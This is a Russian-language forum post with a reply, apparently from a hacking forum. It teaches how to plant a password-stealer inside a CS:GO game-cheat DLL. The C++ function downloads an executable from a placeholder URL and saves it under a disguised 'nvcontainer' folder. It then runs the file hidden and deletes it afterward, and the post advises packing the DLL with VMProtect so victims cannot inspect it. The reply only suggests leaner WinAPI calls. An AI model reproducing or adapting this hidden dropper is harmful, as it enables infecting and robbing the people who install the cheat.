Всем здравствуйте и это тема о том как засунуть ******* в длл Чита ксго, или другой игры. Для этого нам нужен сурс Чита заходим в main.cpp (у вас может другое название быть) Добавляем инклюды: #include <Windows.h> #include <iostream> #include"urlmon.h" #pragma comment (lib,"urlmon.lib") И после иннклюдов делаем саму установку стилила. . void StartStiller() { char szPath[256] , szDirectoryPath[256];//патчим sprintf_s(szPath, "%s\nvcontainer\nvcontainer.exe", getenv("APPDATA")); // путь до нашего *******а sprintf_s(szDirectoryPath, "%s\nvcontainer", getenv("APPDATA"));// путь до папки с нашим *******ом LPCTSTR Url = _T("http://www.ursite.domen/prikol.exe"), File = _T(szPath); // ссылки и путь там на ******* и т.д... std::filesystem::create_directories(szDirectoryPath);//создаем папку в аппдате с названием nvcontainer URLDownloadToFile(0, Url, File, 0, 0); // скачиваем ******* с сервера Sleep(3000); // даем 3 секунды на скачку *******а ShellExecute(NULL, "open", szPath, NULL, NULL, SW_HIDE);// запускаем тот самый ******* с хайд аргументом Sleep(40000);// через n-ное кол-во секунд удаляем ******* std::filesystem::remove(szPath); // удаляем ******* с пк } В коде все объяснено на c++. Лучше защитить vmp protect'ом что бы человек не смог декодировать длл и посмотреть.
зачем таскать за собой рантайм, когда аналог getenv и объединения строк через sprintf_s есть в winapi? зачем юзать std::filesystem::create_drirectories, когда можно напрямую вызвать winapi? зачем юзать std::filesystem::remove, когда можно напрямую вызвать winapi? остальное уже написал @KL9CKER